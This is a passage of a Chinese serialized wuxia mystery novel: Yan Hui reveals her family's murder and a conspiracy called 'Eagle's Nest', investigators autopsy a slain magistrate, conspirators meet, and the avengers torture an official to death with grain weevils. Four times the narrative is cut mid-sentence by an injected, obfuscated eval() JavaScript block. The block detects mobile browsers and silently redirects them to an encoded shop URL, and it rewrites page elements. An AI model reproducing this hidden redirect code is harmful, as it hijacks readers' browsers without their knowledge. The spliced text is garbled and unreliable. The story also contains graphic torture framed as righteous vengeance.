唐珠儿两腮鼓胀，像只田鼠一般咔哧咔哧咀嚼数下，方心满意足地吞咽下去。楚庸被那持续不断的噪声吸引，不由得微微侧头看去。唐珠儿每日里零嘴儿不断，口舌与肠胃几乎没有消停的时候。今日所食是一款叫“酥琼叶”的小食，将蒸饼切成薄片，涂以蜂蜜或油脂，小火烘烤至酥脆，放凉后去除火气即可食用。食之口感松脆，带有蜂蜜的甜香，能止痰化食，可留月余。 唐珠儿爱吃，却不会做，这一大包酥琼叶是她威逼着范凌舟替她烤得，不到两日便吃掉了大半。 见楚庸正垂眸看她，唐珠儿在袋子里胡乱摸了一把，递给楚庸：“哝，来点儿？” 楚庸并不像唐珠儿那般在意口舌之欲，正要摇头拒绝，却见女孩儿小脸一凛，笑意隐隐有褪去之势。楚庸心道不妙，赶紧老实接了过来。 “谢谢珠儿姑娘。” “嗯——”唐珠儿满意地哼了一声，又歪着头盯着楚庸。 楚庸只得将手中的酥琼叶挑出一片，在唐珠儿监督的目光中塞进了嘴里。 “好吃吗？” “特……特别好吃。” “嗯！”唐珠儿终于乐了，楚庸紧绷着的一颗心方才松快了些。 唐珠儿和楚庸惨死的妹妹楚怜年岁甚近，性格却是天差地别。除了自家妹子，楚庸实在罕有同女子接触之机，是以面对唐珠儿，时常觉得头大如斗，难以招架。此刻，他心中巴不得范道长和晏姑娘快些出现，解救他于水火。 说曹操，曹操到，石室的大门终于在楚庸无数次的祈祷声中打开了。 一身深色布衣的晏回当先走进来，身后慢悠悠晃荡出一个人影，正是一袭雪白道袍的范凌舟。 正瞧着，唐珠儿的小脑袋便挤了过来，耳语道：“你瞧他那苍蝇戴花的样儿，怕不是晏回姊姊同他多言语了两句，又张狂得分不出东南西北了。” 楚庸既不敢应承，亦不敢反驳，心中暗道：无鱼兄和珠儿姑娘在任务中能合作无间，怎地一碰上晏姑娘，二人就像斗鸡遇上恶犬，闹腾起来没个完呢？ 就在楚庸考虑怎么敷衍唐珠儿的当儿，晏回已经行至石桌前，在桌面上轻轻放下一物。 “诶！”唐珠儿兴奋地怪叫一声，“又来任务了！这是的苦主是？” 桌上放着的，正是长生观特制的竹帖，用以承接四方各地的苦主的复仇任务。见到竹帖，楚庸也不由得坐直了身子，心底涌动起一股微妙的热忱。 他始终觉得，就是这方竹帖，将他与长生观联系在一起，与天底下千千万万有仇不得报、有冤无处诉的苦命人联系在一起。所以在楚庸的心里，竹帖早已超越了它本身的意义。他抬起头，盯着晏回在火光下莹白如玉的脸，等待她说出苦主的名字。 女子的双唇微微翕动，吐出一句让楚庸难以置信的话。 “这次的苦主，是我。” 石室内一片死寂，众人表情各异。 身为苦主的晏回倒是最为冷静，长睫缓缓垂落，遮住了她眸中流动的思绪。她身后的范凌舟抱臂站着，脸上带着笑意，隐约看出几分得色。楚庸瞠目结舌，嘴巴都没来得及合拢。唐珠儿抱着布袋的手一松，布袋从两臂的间隙中滑落，袋中的酥琼叶扑啦啦掉了一地。 唐珠儿浑然不觉，一脚踏前，抓住了晏回的手腕。 “阿姊！是谁！只要你开口，便是皇帝老儿，珠儿也要替你将他的脸皮剥下来！”少女的声音里带着几分颤抖的尖锐。 晏回眸光闪动，反握住唐珠儿的手，轻轻拍了拍。 “诸位，可愿接我的竹帖？” “接！”唐珠儿当先应道。 “晏姑娘但有所求，楚某自当奋不惜身。”楚庸也大声道。 “这件事贫道早已知晓，自不必问，西楼的事，便是我的事。”范凌舟悠悠开口，将“早”字念得极重，生怕唐珠儿和楚庸听不到。 一抹复杂的笑容浮上唇角，一闪即隐。“既是如此，我便将此事的来龙去脉，讲于诸位。” 这一切的起因源自于薛灵犀的复仇。晏回诸人受薛灵犀之托，对罪魁祸首裘县令动用私刑。在铁扦透骨而出，血花四溅，裘县令垂死之时，晏回像往常一样，缓缓揭下面上的黑纱，让被复仇之人在死前一睹其真容，也算死个明白。 然而，这次裘县令的死，换来的却是薛灵犀的解脱和晏回永远的疑惑。 只见气息已然微弱，行将就木的裘县令突然睁大眼睛，惊恐地瞪着晏回月光下苍白的脸，口中嗬嗬有声。 “张……张……你是张……”如同被困在岩缝里的螃蟹，无数赤红的血沫顺着张开的嘴巴喷涌而出，将裘县令未说出口的话语，化作一阵徒劳的咕哝声。 “你说什么！”晏回猛地上前，揪住了裘县令被鲜血浸透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184837|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的领口，厉声质问道。 回答她的，只有裘县令越来越低弱，到最后再不可闻的呼吸。 这是晏回罕有的失态，她已经有太久没有听别人喊出她真正的姓氏了，久到她几乎都要忘记了。 “你说话！” 裘县令彻底死透了。 晏回铁青着脸，怔怔地盯着裘县令许久，一扭身，向着县衙的方向奔去。 晏回将裘县令的书房翻了个底朝天，终于在一套《资治通鉴》中发现了端倪。这套《资治通鉴》共有294卷，分拆为数十册，每册约10-15卷，每一册分别收纳于蓝布函套之内。函套以薄木板为骨架，外裱深蓝色丝织品，低调雅致，初看并不扎眼。 可当晏回的指尖挨个拂过函套的上沿，却发现了其中蹊跷。第六册的函套比之其他高出半寸，轻轻一压，潜藏于函套中的暗格应声弹开，露出内里的紫檀木匣。匣中放有往来书信三封，除此之外，别无他物。 信纸的边角处皆盖着一枚朱红印记，赫然是一只鹰首，鹰嘴弯钩锐利，鹰眼圆睁如炬，衬着那如血的朱泥，让晏回心头生凉。 “万历十年之事，足下联络周至，筹措妥当，蜮公深以为慰。然点检遗骸，竟缺一丁，张氏弱女，至今生死未知。近有知情者密报，此女或遁出都门，潜往齐鲁之地。尔须知，济上经营有年，盘根错节，布网甚密——此乃天赐之便，足下当善假其势，借彼脉络，密访此女踪迹，永绝后患。他日功成，君之所求，蜮公无有不允。鹰巢之上，唯有蜮公，勉之，慎之。” 颤抖的指尖轻轻划过白竹纸，晏回低声呢喃着：“鹰巢之上，唯有蜮公……”她终于明白，父亲的死并非孤案，而是一场由“蜮公”筹划，以“鹰巢”为爪牙，牵连朝野，动荡朝堂的巨大阴谋。而裘县令，不过是棋盘上最微不足道的一枚卒子，妄图用她全家的鲜血，为自己的仕途增光添彩。孰料，天道好轮回，裘县令最终却死在了她这苟活于世的“张氏弱女”手上。 石室的石门极重，几乎密不透风，可秋夜的凉意还是透过缝隙挤了进来，吹动晏回的发丝，在她苍白的面上划出几道墨色的弧度。她放下手中紧攥的信纸，抬起了始终垂着的头。那双琥珀色的眸子里，再也不见当日的迷惘与仓皇，唯余淬火般的决绝。 “诸位，现在你们明白了——我要复仇的，不仅仅是一个人，他是‘鹰巢’，是‘蜮公’，是所有用无辜者之鲜血铺就青云路的人。” “我要他们尸横遍野，血流成河。” 38. 不秋草（三） 灯花忽地爆开，映亮了男子凝神思索的眼眸。 月亮已上中天，山东按察使沈忘依旧伏案工作，未曾阖眼。此时的他并非身在府邸，反而是身处才发生过命案的县衙之中。历城县衙裘县令身死，新官尚未赴任，县令之职暂缺，沈忘便借查案之机重返历城县衙。 许是忙碌得久了，沈忘的眼前不由一阵恍惚。面前的梨木案几，手畔的青花缠枝莲纹笔洗，甚至是院中那株冠幅巨大，遮天蔽日的金桂树，都是熟悉得不能再熟悉之物，留连得不能再留连之景。 犹记当年的自己，探花加身，少年意气，怀揣一腔热忱来历城赴任，和今日的情形何其相似，又何其不同。那时的历城县衙，接连殒身三名县令，他初来乍到便斗倒了盘亘经营多年的一干宵小，大破奇案，与柳七、程彻、易微、霍子谦等好友一道，重整县衙，博得了“昭雪衙门”的美名，盛名直逼海瑞，引得朝野侧目。而此时，他已官至正三品的山东按察使，贤妻好友依旧常伴身侧，手中的案子竟然还是历城县衙县令的命案，实在是奇哉，巧哉！ “沈兄。” 门被轻轻推开，带进来一阵夜凉。沈忘回神，见霍子谦端着个粗瓷碗站在门口，碗沿还冒着白汽，混着苦涩的药香。当年青布长衫的霍师爷，到现在身着官袍的经历司经历，还是当年那副朴素模样，只是眼角多了几道细纹，倒比从前沉稳了许多。 “子谦。”沈忘停笔抬眸，冲着霍子谦温和展颜。 霍子谦几步走到案前，将药碗推到沈忘手边：“柳仵作说你咳了好几日，特意熬了润肺的药，让我盯着你喝。” 沈忘探头看了看碗中深褐色的药汁，嘴里不由得发苦，心思急转，指着霍子谦磨得起毛的袖口道：“子谦，今年年初不是给你扯了新料子吗，怎地还穿旧的？总这般打扮，南菀姑娘可得埋怨我苛待你了。” 霍子谦被沈忘说得脸色泛红，指尖下意识扣住袖口，心思却依旧坚定：“沈兄，喝药。” 见霍子谦始终不上套，沈忘又忙不迭地拿起笔，饱蘸墨汁，佯作一副认真模样：“不急，等我把手头上的事情忙完。” 沈忘装模作样地涂抹了几笔，却不见霍子谦移步，再抬眼，男子还是直挺挺地立在桌边：“柳仵作说了，让我盯着你喝。沈兄若是小孩子脾气不肯喝，我便在这儿候着——”霍子谦想了想，又煞有介事地添了一句，“我也不急。” 沈忘气笑了，无奈地瞄了霍子谦一眼，端起药碗，刚要凑到唇边，喉间突然一阵痒意，忍不住偏头咳了起来。这阵咳嗽来得剧烈，震得沈忘从肩膀到胳膊都跟着簌簌地颤，药汤在药碗里晃荡个不停。 “沈兄！”霍子谦吓了一跳，连忙伸手扶住他的胳膊，另一只手稳稳托住药碗，眉头拧在一处，“怎么咳得这般厉害，我去请柳仵作来！” “没事，没事。”沈忘一边咳一边摆手，过了好一会儿，待气息稳下来，便接过药碗，仰头一饮而尽。“老毛病了，何苦再扰着她。” 见霍子谦还是愁眉不展，沈忘笑道：“真没事……对了，停云呢？” “柳仵作还在敛房，说是要剖验。”霍子谦老实答道。 沈忘笑着颔首：“正好，我去寻她。” * * * 敛房内光亮如昼，为了保证剖尸不受夜色晦暗的影响，柳七几乎是绕着尸床点了一圈灯。又为了防止尸体过度腐败，敛房各处还码放着厚重的冰砖，让本就清寂的敛房更多了一丝冰寒之气，唯闻柳七手中的柳叶刃剖肉离骨之声。那柳叶刀的刀刃极薄，入肉时几无声息，可愈是如此，偶尔发出的声响便愈是令人牙酸，柳七却丝毫不为之所动，细细观察着皮肉脂肪下隐约可见的肺叶。 女子白皙的侧脸离尸身极近，鼻尖儿距那裘县令“四敞大开”的胸腔不过寸许，沈忘推门而入之时，便正瞧见这一情形。 对于自家柳仵作令人叹为观止的职业操守，沈忘已然见怪不怪，只是尽可能地将步子放轻放缓，唯恐扰了对方的清净。 待了不过半柱香的时间，柳七轻轻呼出一口始终屏着的气，开口道：“无忧，你来。” 沈忘依言上前，柳七头也不抬，指尖点向纵贯尸体整个肩胛的创口。沈忘细细看去，只见创口的边缘，有几处细碎的肉刺，沈忘想到了什么，眸光倏地亮了起来。 “这创口皮肉外翻呈‘八’字状，偏着隐晦偏狭处的肉刺皮肉卷缩，与主创口有异，明显带着犹豫的痕迹。”柳七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184838|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将自己在尸体上“读”出的细节据实相告，把目光投向若有所觉的沈忘。 “这说明初始入扦，用力歪斜，狠绝不足；而后补刀的行为，却精准刁钻，狠辣绝伦，可见是一人试刀，一人致命，后者刺入时旋拧发力，不仅掩盖了最开始创口，更加剧了创口的撕裂。这种手法需要极大的力气，且熟悉人体骨骼结构，绝非寻常盗匪能为。”沈忘沉吟道。 柳七连连颔首，继而又引着沈忘向下观瞧，沈忘的目光顺着尸体凸起的腿骨滑落，停至脚踝处的青紫瘀斑上。 “这处瘀斑，是我用白梅饼热敷之后方显现出来的，青赤肿，有分寸，存血荫，说明是硬物击打所致，用劲极巧，是以尸体初验之时并没有显现在肌理之上。这处穴位唤作‘解溪穴’，若是方法得当，一击便足以使人下肢瘫软，难以行动。”柳七道。 沈忘凝神片刻，方道：“观此瘀斑之性状，可知施力者惯用左手，指节有厚茧，应是常年握兵器之人……先是困敌于死境，又引新人试水杀人、再以老手狠辣解决，一人生涩，一人熟稔，一人专攻穴位……这一场杀局至少有三人参与。” 沈忘闭目而思，眼前似乎又显现出当日的惨状，被铁扦钉在树干上的尸体，以及那随风摇曳的，挂了满树的象牙笏板，笏板上的字迹墨色淋漓，赤红夺目，几乎要灼穿人们的眼睛。 “更遑论场面的布置、前期的筹谋、舆论的控制……分工明确，目的清晰，手法精妙，绝非散兵游勇所为，必是有组织的团体。与其说这是一场杀戮，不如说这是一场……” 柳七的目光和沈忘撞在了一起，她的嘴唇微微翕动，顺着沈忘的话锋吐出两个字：“仪式。” “没错，正是一场仪式。” 柳七缓缓褪下染血的手套，看向直起身子的沈忘：“无忧，那你待如何？这偌大的济南府，想要寻出这样一个团体，只怕是泥牛入海，难于登天。” 沈忘长舒一口气，唇边竟溢出丝缕笑意：“停云，弈棋之人，最忌心浮气躁。对方已然投了子，所图便不是一子之得失，而是要连下数子，直至棋局终了，我们——” 他抬起手，极柔和地拍了拍柳七因为长时间剖尸而紧绷的肩，“——自当奉陪。” 39. 不秋草（四） 向内旋转的石门被缓缓推开，一个着黑袍的人影猫着腰钻了进来，他极力矮缩着身形，仿佛这样就能逃避堂上之人凌厉的目光。 这间密室形容开阔，地上铺着波斯的长绒毯，四周墙壁上裱以锦缎隔音，银制的烛台上烛火明灭，独独将主位上的红木椅照亮。椅上端坐之人佝偻着身子，宽大的黑袍将他彻底掩住，如同裹在墨色的云团里。 除了甫进密室的那人，堂下还立着三人，尽皆黑袍加身，垂手而立，似是等待了许久。 最后来的那人轻手轻脚地站在早来的三人身侧，急促的呼吸还未喘匀，堂上之人便开口了。 “裘三的事，诸位都知晓了吧。”与其说是疑问，更像是语带威逼之意。 “禀大人，知晓了。”后来的黑袍人似是心虚，话头跟得慢了点儿，破坏了其余三人异口同声的和谐，在掉针可闻的密室里显得格外刺耳。黑袍人暗道不妙，果不其然，堂上之人阴鸷的目光便随之追了过来。 “你自是知晓，你不就在当场眼睁睁地瞧着吗？” 后来人掩在黑袍下的身影一个激灵，赶紧上前半步，解释道：“卑职……卑职一听到消息，便马不停蹄地赶了去，生怕……生怕民怨沸腾，将事情传扬了出去……” “传扬？”堂上之人冷笑，“还需传扬吗？那裘三被人当街要了性命，用铁扦钉在树上，枝头上挂满了笏板，朝廷命官惨死当场，不正是那帮乌合之众、酒囊饭袋最爱掺和的热闹吗！” 后来的黑袍人腿一软，扑通一声跪了下来，他怕极了这一叠声的逼问，脑门上急出了一头汗：“卑职……卑职也觉得蹊跷，我看了那柳七填的尸格，说是致命的创口有新旧两道，像是两人动的手；脚踝还有隐创，是被人用巧劲打了穴位……这哪是寻常仇杀？分明……是冲着……是冲着……” 黑袍人嗫嚅了两句，不敢说下去了。却见堂上瘦小的身影倏地立起，疾步踱了下来，冲着他当胸狠踹一脚，黑袍人似是料到了有此一劫，赶紧吃了劲儿，借着这一脚的余势咕噜噜滚了开去。 黑袍人本意是离这凶戾的上峰越远越好，孰料选错了位置，后背重重撞在了一旁的立柱上，口中禁不住哎呦出声，掩在头上的兜帽滑落，露出一张熟悉的，隐隐有着猥琐气的面容——正是济南知府孟威。 “冲着谁！是冲着你孟威，冲着我，还是冲着蜮公大人！祸从口出，舌头底下蹦出字儿都给我警醒着！”将孟威踹了一个跟头的男子余威不减，怒道，“废物，当真废物！” 孟威一手扯紧兜帽，一手捂住受伤的老腰，陪着笑脸，重新趴伏在地：“兹事体大，卑职……卑职还请大人示下。” 便是心头恼恨，孟威也不敢有丝毫不耐之色，咬紧了后槽牙，老实候着。却听那人反问道：“沈忘查到哪一步了？” “回……回大人，沈忘带着人住进了县衙，把裘三的案卷全搬到了签押房，还查了他的往来账目……卑职本想派人去‘借’几本账册出来，可那沈忘看得紧，根本下不了手！” 那瘦小的黑袍男子再次冷笑出声，吓得孟威赶紧弓起身子，准备承受接下来的一脚。孰料，那一踹久久没有到来，瘦小男子似是腻了，上下扫量了孟威一眼，冷冷道：“沈忘要查，便让他查好了，裘三既然死了，便要让他‘死得其所’。你只需记着，所有的错处让裘三一身担了就好。” “是……是，大人，那……那些杀了裘三之人，该如何处置？” “与鼎鼎大名的沈按察相比，那些蝼蚁于大局无关痛痒。沈忘若是能抓到真凶，安安分分做他的按察使，倒也罢了；若是还妄想将心思打到鹰巢上……”瘦小的黑袍男子嘴角紧抿，露出一个阴恻恻的笑，“便是引火烧身，结局可不会比裘三好到哪里去。” 孟威心中叫苦不迭，顶头上峰不是冷嘲热讽，就是出脚伤人，要么就是拐弯抹角，偏偏不有话直说，他只得小心翼翼地垫了一句：“那您的意思是……” “借刀杀人。” * * * 孟威褪下身上的一袭黑袍，最后一个从密室离开。他的脸色青白，后腰被撞的地方还在抽痛，每走一步都牵扯着隐创——方才在密室里被当狗一样呵斥的屈辱，在他胸腔里无休止的翻腾。 “老爷，这边请。” 巷口阴影里，赵纳福提着盏油纸灯笼迎上来。他没穿府衙的灰布短打，反倒罩了件半旧的青绸衫，看着像个寻常商贾。他驯顺地搀扶着孟威递过来的手臂，说道：“小的给老爷在听涛阁订了厢房，老爷不妨先去那儿顺顺气，暖暖身子。” 孟威斜着眼睨了赵纳福一眼，灯光将他脸上的褶子照得分明。对方跟着自己二十年，从自己还是个秀才时便伺候左右，如今虽只是个不入流的总领，却掌管着孟府内大小杂务，连济南知府印信的暗格钥匙都由他收着，算是自己心腹中的心腹。 “你倒机灵。”孟威声音沙哑，分辨不出情绪。此刻的他的确最忌讳回府，倒不如到那酒楼之中压一压邪火。 赵纳福弓着腰在前头引着，不多时便到了听涛阁的后院。二人从小院提前预留的后门进入，一路登上了听涛阁的三楼。 包厢不大，却精致明亮，桌上摆着青瓷酒壶、小菜数碟，窗边竹帘半卷，隐约能看见大明湖畔的万家灯火。孟威一屁股坐在太师椅上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184839|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯松了领口，使唤道：“倒酒！” 赵纳福应了，刚要给他斟酒，孟威却毫无预兆地抬脚，照着他膝弯就踹了过去！ 赵纳福躲闪不及，闷哼了一声跪倒在地。手中的酒壶还揽在怀里，没有一滴洒漏。 “是小的动作磨蹭，让老爷着恼了，老爷恕罪。”赵纳福跪在地上，仰起头，讨好地笑着。 孟威看着那张如同核桃般皱缩的老脸，心中五味杂陈。此时的赵纳福，像极了彼时的自己，自己肆无忌惮地在赵纳福身上撒气，彼时的自己又何尝不是上峰召之即来挥之即去的出气筒呢？ 孟威长叹一口气，一把夺过酒壶，给自己满斟一杯，嘟囔道：“莫扮些可怜相，我瞧着你啊，也是在看我笑话……” “小的哪敢！”赵纳福膝行到桌边，谄媚道，“小的年老体衰，不如老爷春秋正盛，哪如老爷那般利索麻利呢！再说了，兹就这济南城里，谁敢看老爷您的笑话？借他个胆子，也得先掂量掂量脖子上的脑袋！” “净捡好听的说，在上头那位眼里，我连个笑话都不是！”孟威抓起酒壶又灌，酒液顺着嘴角淌到衣襟上，“那老东西！踹我一脚还不够，说话绕着弯子跟我打哑谜！问他怎么做，他偏说‘借刀杀人’——杀谁？杀姓沈的还是杀我？！老不死的！” 赵纳福赶紧给他拍背，好言相劝道：“那位的心思，您还不知道？向来是‘话不说透，事不做绝’，他让您‘借刀杀人’，保不齐是想让那些杀裘县令的人去对付沈按察，咱们坐山观虎斗呢？” 孟威哪里听得进去，只是抓着酒壶往嘴里倒，愁眉苦脸地喝了约莫一个时辰，孟威的脑袋咚地磕在桌面上，嘴里嘟囔着“凭什么踹我……我踹死你……”，手还在半空胡乱挥着，终是没了声息。 赵纳福叹了口气，小心翼翼地扶起孟威，将人架在自己背上——孟威虽不算魁梧，却也有百十来斤，赵纳福弯着腰，一步步往楼下挪。 刚下到二楼转角，迎面忽然走来个人影。 赵纳福下意识往墙边让了让，灯笼的光晕晃过去，照亮了来人的模样——是个年轻女子，面容白皙澄净，被灯光一扫，如同一块沉入潭水的玉。她步子很轻，几乎听不见脚步声，走到转角处，微微侧身让赵纳福先过，眸光不经意间扫过赵纳福背上的孟威，又极快地移开，仿佛只是路过时的寻常一瞥。 赵纳福没在意。这听涛阁本就是龙蛇混杂之地，他又着急着把孟威背下楼送回府，脚下没停，侧身从女子身边挤了过去。 赵纳福不知道的是，身后的女子在原地站了片刻，望着他消失在楼梯口的背影，良久方移步向三楼雅间走去。 40. 不秋草（五） 济南府的同知孙世庸一脸丧气地从外室的院儿里踱了出来。他本就是来躲清静的，可孰料屁股还没坐热，他那没眼眉的外室就开始明里暗里嘟囔引她入府的事。这位孙大人听得心里烦躁，借口府中有事早早退了出来。 这下倒好，府上的母老虎那儿早就编排好了理由，外室的房又不想进，堂堂济南府同知，竟落得个无处可去的下场。 孙世庸长叹一口气，仰头去看夜空上挂着的月轮。不巧，今日的月色同他的心情一样，晦暗得紧。不知怎地，他心里涌起些许不祥的预感。自从知晓了裘三死时的惨状，孙同知的心口便仿佛压了一块厚重的冰坨，沉甸甸，冷凌凌，让他难以将息、辗转无眠。 这位孙同知在巷口踯躅了片刻，焐热双手用力搓了搓脸，决定返身回府，再编纂些理由，哄骗家中的妻房。 他没有选择熟悉的老路，而是拐进了西侧的胡同。这条路比正街远两里地，却能避开那棵钉死过裘三的老槐树。孙同知可不想在这个时候，沾染一身晦气。 胡同内部僻静无声，两侧的土坯墙歪歪扭扭，溢出些许隔夜的尿骚味儿。孙同知抬臂掩鼻，步履匆匆。快走到巷口时，他却骤然止住了步子，只见胡同口的月光下，孤零零停着一辆牛车。 那牛车体量不大，车厢敞开，正对着巷口，将仅容一人通过的出口堵了个严严实实。车厢里空无一人，却堆堆叠叠摞了一人多高的破麻袋，麻袋中鼓鼓囊囊，不知装了些什么。 照理来说，巷子并不长，既然前面的通路堵住了，转身退出巷子便是。可孙同知怕极了那株老槐树，说什么也不愿意夜深人静之时从那树下经过，便硬着头皮走进牛车，想看看能否从缝隙中挤过去。 即到近处，孙世庸坳了坳腰，压了压自己肥凸的腹部，方知牛车已经将巷口挡得严丝合缝，竟如一扇专门为此口设计的门一般。孙同知叹了口气，直起身子，手下意识地往车架上一扶。 “咝……”孙世庸手掌顿觉异样，不满地吸了口冷气，往手心上看去。 只见手上黑乎乎一片，粘上了许多黑色的颗粒。那些颗粒比米粒大些，表面坑坑洼洼，泛着油乎乎的光，凑近了闻，有股陈米发霉的腥气。 “这是——”最初的恶心感被疑惑所替代，孙同知探头朝麻袋望去。当济南府同知的这些年，他可没少同粮食打交道，这些粘在他手掌上的黑色颗粒不是别的，正是被虫蛀空的谷壳。壳尚完整，可里面的胚乳却被虫蛀得一干二净，捏在手里轻轻一捻就碎成粉。 这大半夜的，谁会用牛车拉一车蛀空的谷壳？还停在这种鬼地方？ 鬼使神差地，孙同知抬手去扯最近处的麻袋绳。指尖刚碰到粗糙的麻布，那麻袋忽地“动”了！不是被风吹的，是从里面往外鼓了一下，像有什么活物在里面翻身。麻袋上的褶皱被猛地撑起，以一种诡异的弧度鼓动了数下。 孙同知心头大骇，猛地缩回手，还没来得及后退，麻袋口“哗啦”一声裂开，黑乎乎的谷壳如同爆炸般喷溅而出，登头盖脸地向他砸来！ 平日养尊处优惯了的孙同知哪里料到有此一劫，只顾张嘴呼救，却不料一声未出，就被谷壳呛入喉中，被齑粉迷痛双眼，忍不住弯腰咳嗽起来。说时迟那时快，就在他弯腰的一瞬，一双白皙的手自车厢的暗处探了出来，迅疾如风地在他的灵台穴和哑门穴一点！ “唔！”孙同知浑身一麻，像被抽走了骨头，双腿一软就往地上倒。他想喊，喉咙里却像堵着团棉花，发不出半点声音；想挣扎，四肢却像灌了铅，只有眼珠子还能转动。月光从飞扬的谷壳缝隙里漏下来，照在他仰躺着的脸上。 因为紧张和恐惧，孙同知剧烈的喘息着，透过响成一片的心跳声和呼吸声，他隐约分辨出有无数细碎的“咔咔”声传进耳廓。他拼力转动眼珠，想自己的身下望去，正对上一双黑黢黢的小眼睛。 那是属于昆虫的眼睛，僵硬，冷峻，毫无感情。 他看见一只比米粒稍大些的铁嘴虫，正扬起它坚硬细长针形的口器，极具威胁意味地冲他晃了晃。 孙同知悬吊着的心稍微松了松，他还当是什么神兵天降，原来只是一堆藏在谷壳里的铁嘴虫。这种虫子喜食作物，靠自己坚硬的口器破开谷物的外壳，吃光内里的胚乳，对人倒是无甚威胁。 这时，孙同知感到头顶遮上来一片阴影。急急抬眸，一张俏生生的少女面撞入视野。一身流霞色衣裙的秀丽少女，正蹲在地上，歪头瞧着他。少女眉眼弯弯，笑容里却藏着一丝说不出的冷意。 “哟，这不是孙同知孙大人吗？深更半夜的，大人倒是有雅兴和小虫子玩乐啊！”唐珠儿笑眯眯地说着，随手携起一只正奋力往孙世庸皂靴上爬的铁嘴虫，用两只手指拈了，在孙同知眼前轻轻晃了晃。 “是啊——”一阵含笑的男声合了进来，悠悠道，“却不知夜路走多了，总能遇到鬼的。” 范凌舟施施然下得车来，一撩雪白袍服的下摆，与唐珠儿并肩蹲在一处，仿佛夜色下对月生长的一粉一白两株大蘑菇。 二人恶作剧得逞般相视一笑，丝毫不在意躺在地上的孙大人目眦欲裂，惊骇欲狂。 唐珠儿想起了什么，忽而冲孙同知眨了眨眼睛道：“对了，孙大人，忘了告诉你了，这些小虫子可不是寻常的铁嘴虫哦！它们是当年饿死的灾民所化，食尽了地狱里的怨气，今日鬼门大开，来寻孙大人复仇来了——” 唐珠儿白瓷般地小脸儿倏地靠近，近到孙同知能看清她眸底忍俊不禁的笑意，如同一簇小小的火苗，雀跃燃烧。 “你听，它们在说话呢，它们说，它们好饿啊，它们——要来吃你啦！” 灾民……因惊恐而混沌的头脑里似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184840|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃起了一丝冷硬的光，某些早已被他丢弃遗忘的回忆重又清晰起来。 孙同知的瞳孔骤然收缩。一只铁嘴虫率先钻进他张开的嘴里，它没有顺着喉咙往下滑，而是用尖喙狠狠扎进他的下唇，“咔”地一声，像铁钉穿透皮肉，孙同知疼得几乎要尖叫出来。 可惜，他穴位被制，发不出声音，更是动弹不得，唯有大张着嘴巴，脸上的皮肉都随之剧烈颤动。 更多的虫子涌了上来，开始寻找孙同知裸////露在外的一切孔洞。它们扑进嘴里，钻进鼻孔，涌入耳朵，甚至有几只顺着眼缝往里拱，妄图开辟全新的战场，不过几个瞬息，孙世庸几乎成了一只血葫芦，五官都辨不真切了。 眼泪混着血水流出来，将孙同知的视野涂抹成赤红一片。他隐约听到那位少女兴奋地在一旁上蹿下跳，不时发出“咔嚓咔嚓”的气声，似乎是在为铁嘴虫鼓劲加油。那白袍道士抱臂不语，垂首看着他，脸上挂着一丝玩味的笑。 就在他疼痛得几欲昏厥之时，一袭黑色的身影笼罩上来，遮住了仅剩的月光。“可怜”的孙大人早已看不清她的面貌，可听声音分辨，应是位妙龄女子。 “孙世庸，如此锥心刺骨之痛，可让你记起当年那些冀州城百姓？万历九年，冀州大旱，你苟同上官侵吞赈灾粮饷，以铁嘴虫蛀之粮易之，导致饿殍遍地，死者枕藉。而后，你将此大罪嫁祸于锦衣卫千户张琰，自污为净，摇身而成鹰巢布设在济南府的暗线之一。孙世庸，虫噬汝身，乃债，非劫。事到如今，你可知罪！” 晏回的声音冷硬如铁，凌厉似冰，却再难换回孙世庸一丝一毫的反应。此刻的他，早已七窍流血，只剩四肢还在不时抽动，眸中的光却已散了。 晏回垂眸看着他，半晌自嘲地笑了：“问你又有何用，只怕再给你百次千次的机会，你依旧会明知故犯，万死难赎。” 